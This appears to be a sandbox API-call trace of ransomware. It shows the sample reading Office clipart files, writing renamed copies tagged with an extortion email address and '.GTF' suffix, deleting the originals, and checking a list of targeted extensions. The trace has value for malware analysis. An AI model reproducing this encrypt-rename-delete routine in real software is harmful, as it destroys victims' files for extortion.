	[0177.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68
	[0177.311] lstrlenW (lpString=".jpg") returned 4
	[0177.311] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.311] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0177.311] lstrlenW (lpString="J0152898.WMF") returned 12
	[0177.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152898.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0178.616] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=4496) returned 1
	[0178.616] CloseHandle (hObject=0x540) returned 1
	[0178.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152898.wmf")) returned 0x220
	[0178.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152898.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0178.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152898.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0178.791] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.791] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152898.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0178.793] GetLastError () returned 0x0
	[0178.793] ReadFile (in: hFile=0x43c, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x1190, lpOverlapped=0x0) returned 1
	[0178.794] WriteFile (in: hFile=0x52c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x11a0, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x11a0, lpOverlapped=0x0) returned 1
	[0178.795] ReadFile (in: hFile=0x43c, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.795] WriteFile (in: hFile=0x52c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.795] SetEndOfFile (hFile=0x52c) returned 1
	[0178.796] CloseHandle (hObject=0x52c) returned 1
	[0178.796] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.796] SetEndOfFile (hFile=0x43c) returned 1
	[0178.798] CloseHandle (hObject=0x43c) returned 1
	[0178.798] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0178.799] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152898.wmf")) returned 1
	[0178.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68
	[0178.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68
	[0178.799] lstrlenW (lpString=".doc") returned 4
	[0178.799] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.799] lstrlenW (lpString=".docx") returned 5
	[0178.799] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0178.799] lstrlenW (lpString=".pdf") returned 4
	[0178.799] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.799] lstrlenW (lpString=".xls") returned 4
	[0178.799] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.799] lstrlenW (lpString=".xlsx") returned 5
	[0178.799] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0178.799] lstrlenW (lpString=".ppt") returned 4
	[0178.799] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68
	[0178.800] lstrlenW (lpString=".zip") returned 4
	[0178.800] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.800] lstrlenW (lpString=".rar") returned 4
	[0178.800] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.800] lstrlenW (lpString=".bz2") returned 4
	[0178.800] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.800] lstrlenW (lpString=".7z") returned 3
	[0178.800] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68
	[0178.800] lstrlenW (lpString=".dbf") returned 4
	[0178.800] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68
	[0178.800] lstrlenW (lpString=".1cd") returned 4
	[0178.800] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68
	[0178.800] lstrlenW (lpString=".jpg") returned 4
	[0178.800] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68
	[0178.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68
	[0178.800] lstrlenW (lpString=".doc") returned 4
	[0178.800] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.800] lstrlenW (lpString=".docx") returned 5
	[0178.800] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0178.800] lstrlenW (lpString=".pdf") returned 4
	[0178.800] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.800] lstrlenW (lpString=".xls") returned 4
	[0178.800] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.800] lstrlenW (lpString=".xlsx") returned 5
	[0178.800] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0178.800] lstrlenW (lpString=".ppt") returned 4
	[0178.800] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68
	[0178.800] lstrlenW (lpString=".zip") returned 4
	[0178.800] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.800] lstrlenW (lpString=".rar") returned 4
	[0178.800] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.801] lstrlenW (lpString=".bz2") returned 4
	[0178.801] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.801] lstrlenW (lpString=".7z") returned 3
	[0178.801] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68
	[0178.801] lstrlenW (lpString=".dbf") returned 4
	[0178.801] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68
	[0178.801] lstrlenW (lpString=".1cd") returned 4
	[0178.801] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68
	[0178.801] lstrlenW (lpString=".jpg") returned 4
	[0178.801] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.801] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0178.801] lstrlenW (lpString="J0153398.WMF") returned 12
	[0178.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153398.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0178.802] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=17508) returned 1
	[0178.802] CloseHandle (hObject=0x43c) returned 1
	[0178.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153398.wmf")) returned 0x220
	[0178.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153398.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0178.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0178.802] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.802] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153398.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0178.803] GetLastError () returned 0x0
	[0178.803] ReadFile (in: hFile=0x43c, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x4464, lpOverlapped=0x0) returned 1
	[0178.805] WriteFile (in: hFile=0x52c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x4470, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x4470, lpOverlapped=0x0) returned 1
	[0178.806] ReadFile (in: hFile=0x43c, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.806] WriteFile (in: hFile=0x52c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.806] SetEndOfFile (hFile=0x52c) returned 1
	[0178.806] CloseHandle (hObject=0x52c) returned 1
	[0178.807] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.807] SetEndOfFile (hFile=0x43c) returned 1
	[0178.809] CloseHandle (hObject=0x43c) returned 1
	[0178.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0178.810] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153398.wmf")) returned 1
	[0178.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68
	[0178.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68
	[0178.810] lstrlenW (lpString=".doc") returned 4
	[0178.810] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.810] lstrlenW (lpString=".docx") returned 5
	[0178.810] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0178.810] lstrlenW (lpString=".pdf") returned 4
	[0178.810] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.810] lstrlenW (lpString=".xls") returned 4
	[0178.810] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.810] lstrlenW (lpString=".xlsx") returned 5
	[0178.810] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0178.811] lstrlenW (lpString=".ppt") returned 4
	[0178.811] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68
	[0178.811] lstrlenW (lpString=".zip") returned 4
	[0178.811] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.811] lstrlenW (lpString=".rar") returned 4
	[0178.811] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.811] lstrlenW (lpString=".bz2") returned 4
	[0178.811] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.811] lstrlenW (lpString=".7z") returned 3
	[0178.811] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68
	[0178.811] lstrlenW (lpString=".dbf") returned 4
	[0178.811] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68
	[0178.811] lstrlenW (lpString=".1cd") returned 4
	[0178.811] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68
	[0178.811] lstrlenW (lpString=".jpg") returned 4
	[0178.811] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68
	[0178.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68
	[0178.811] lstrlenW (lpString=".doc") returned 4
	[0178.811] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.811] lstrlenW (lpString=".docx") returned 5
	[0178.811] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0178.811] lstrlenW (lpString=".pdf") returned 4
	[0178.811] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.811] lstrlenW (lpString=".xls") returned 4
	[0178.811] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.811] lstrlenW (lpString=".xlsx") returned 5
	[0178.811] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0178.811] lstrlenW (lpString=".ppt") returned 4
	[0178.811] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68
	[0178.811] lstrlenW (lpString=".zip") returned 4
	[0178.812] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.812] lstrlenW (lpString=".rar") returned 4
	[0178.812] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.812] lstrlenW (lpString=".bz2") returned 4
	[0178.812] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.812] lstrlenW (lpString=".7z") returned 3
	[0178.812] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68
	[0178.812] lstrlenW (lpString=".dbf") returned 4
	[0178.812] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68
	[0178.812] lstrlenW (lpString=".1cd") returned 4
	[0178.812] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68
	[0178.812] lstrlenW (lpString=".jpg") returned 4
	[0178.812] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.812] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0178.812] lstrlenW (lpString="J0153508.WMF") returned 12
	[0178.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153508.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0178.813] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=34256) returned 1
	[0178.813] CloseHandle (hObject=0x43c) returned 1
	[0178.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153508.wmf")) returned 0x220
	[0178.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153508.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0178.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153508.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0178.814] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.814] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153508.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0178.815] GetLastError () returned 0x0
	[0178.815] ReadFile (in: hFile=0x43c, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x85d0, lpOverlapped=0x0) returned 1
	[0178.826] WriteFile (in: hFile=0x52c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x85e0, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x85e0, lpOverlapped=0x0) returned 1
	[0178.827] ReadFile (in: hFile=0x43c, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.827] WriteFile (in: hFile=0x52c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.827] SetEndOfFile (hFile=0x52c) returned 1
	[0178.833] CloseHandle (hObject=0x52c) returned 1
	[0178.842] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.842] SetEndOfFile (hFile=0x43c) returned 1
	[0178.860] CloseHandle (hObject=0x43c) returned 1
	[0178.864] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0178.870] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153508.wmf")) returned 1
	[0178.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68
	[0178.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68
	[0178.871] lstrlenW (lpString=".doc") returned 4
	[0178.871] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.871] lstrlenW (lpString=".docx") returned 5
	[0178.871] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0178.871] lstrlenW (lpString=".pdf") returned 4
	[0178.871] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.871] lstrlenW (lpString=".xls") returned 4
	[0178.871] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.871] lstrlenW (lpString=".xlsx") returned 5
	[0178.871] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0178.871] lstrlenW (lpString=".ppt") returned 4
	[0178.871] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68
	[0178.871] lstrlenW (lpString=".zip") returned 4
	[0178.871] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.871] lstrlenW (lpString=".rar") returned 4
	[0178.871] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.871] lstrlenW (lpString=".bz2") returned 4
	[0178.871] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.871] lstrlenW (lpString=".7z") returned 3
	[0178.871] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68
	[0178.871] lstrlenW (lpString=".dbf") returned 4
	[0178.871] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68
	[0178.871] lstrlenW (lpString=".1cd") returned 4
	[0178.871] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68
	[0178.871] lstrlenW (lpString=".jpg") returned 4
	[0178.872] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68
	[0178.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68
	[0178.872] lstrlenW (lpString=".doc") returned 4
	[0178.872] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.872] lstrlenW (lpString=".docx") returned 5
	[0178.872] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0178.872] lstrlenW (lpString=".pdf") returned 4
	[0178.872] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.872] lstrlenW (lpString=".xls") returned 4
	[0178.872] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.872] lstrlenW (lpString=".xlsx") returned 5
	[0178.872] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0178.872] lstrlenW (lpString=".ppt") returned 4
	[0178.872] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68
	[0178.872] lstrlenW (lpString=".zip") returned 4
	[0178.872] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.872] lstrlenW (lpString=".rar") returned 4
	[0178.872] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.872] lstrlenW (lpString=".bz2") returned 4
	[0178.872] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.872] lstrlenW (lpString=".7z") returned 3
	[0178.872] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68
	[0178.872] lstrlenW (lpString=".dbf") returned 4
	[0178.872] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68
	[0178.872] lstrlenW (lpString=".1cd") returned 4
